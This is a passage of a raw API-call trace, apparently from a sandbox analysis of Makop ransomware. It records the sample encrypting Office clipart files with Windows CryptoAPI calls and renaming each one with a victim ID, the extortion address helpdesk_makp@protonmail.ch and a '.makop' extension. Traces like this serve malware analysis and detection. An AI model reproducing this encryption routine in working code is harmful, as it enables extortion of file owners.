lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.705] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.706] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.706] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.706] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a18, lpOverlapped=0x0) returned 1 [0129.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a20, dwBufLen=0x2a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a20) returned 1 [0129.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a20, lpOverlapped=0x0) returned 1 [0129.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.708] SetEndOfFile (hFile=0xf0) returned 1 [0129.716] GetProcessHeap () returned 0x48a0000 [0129.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.716] GetProcessHeap () returned 0x48a0000 [0129.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.717] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.718] CloseHandle (hObject=0xf0) returned 1 [0129.718] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0129.718] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0129.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.719] GetProcessHeap () returned 0x48a0000 [0129.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.720] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.720] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.724] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.724] GetProcessHeap () returned 0x48a0000 [0129.725] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.725] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.725] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.726] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.726] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1484, lpOverlapped=0x0) returned 1 [0129.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490, dwBufLen=0x1490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490) returned 1 [0129.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1490, lpOverlapped=0x0) returned 1 [0129.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.729] SetEndOfFile (hFile=0xf0) returned 1 [0129.735] GetProcessHeap () returned 0x48a0000 [0129.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.735] GetProcessHeap () returned 0x48a0000 [0129.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.735] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.737] CloseHandle (hObject=0xf0) returned 1 [0129.737] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0129.737] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned 63 [0129.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.738] GetProcessHeap () returned 0x48a0000 [0129.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.738] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.761] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.761] GetProcessHeap () returned 0x48a0000 [0129.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.761] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.762] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.762] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27b4, lpOverlapped=0x0) returned 1 [0129.764] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27c0) returned 1 [0129.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27c0, lpOverlapped=0x0) returned 1 [0129.764] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.764] SetEndOfFile (hFile=0xf0) returned 1 [0129.771] GetProcessHeap () returned 0x48a0000 [0129.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.771] GetProcessHeap () returned 0x48a0000 [0129.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.771] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.779] CloseHandle (hObject=0xf0) returned 1 [0129.779] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0129.779] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned 63 [0129.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.780] GetProcessHeap () returned 0x48a0000 [0129.780] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.780] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.785] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.785] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.785] GetProcessHeap () returned 0x48a0000 [0129.785] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.785] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.786] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.786] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x302c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x302c, lpOverlapped=0x0) returned 1 [0129.788] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3030, dwBufLen=0x3030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3030) returned 1 [0129.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3030, lpOverlapped=0x0) returned 1 [0129.789] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.790] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.790] SetEndOfFile (hFile=0xf0) returned 1 [0129.796] GetProcessHeap () returned 0x48a0000 [0129.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.796] GetProcessHeap () returned 0x48a0000 [0129.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.796] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.798] CloseHandle (hObject=0xf0) returned 1 [0129.798] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0129.798] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned 63 [0129.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.805] GetProcessHeap () returned 0x48a0000 [0129.805] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.805] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.867] GetProcessHeap () returned 0x48a0000 [0129.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.867] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.867] CryptDestroyKey 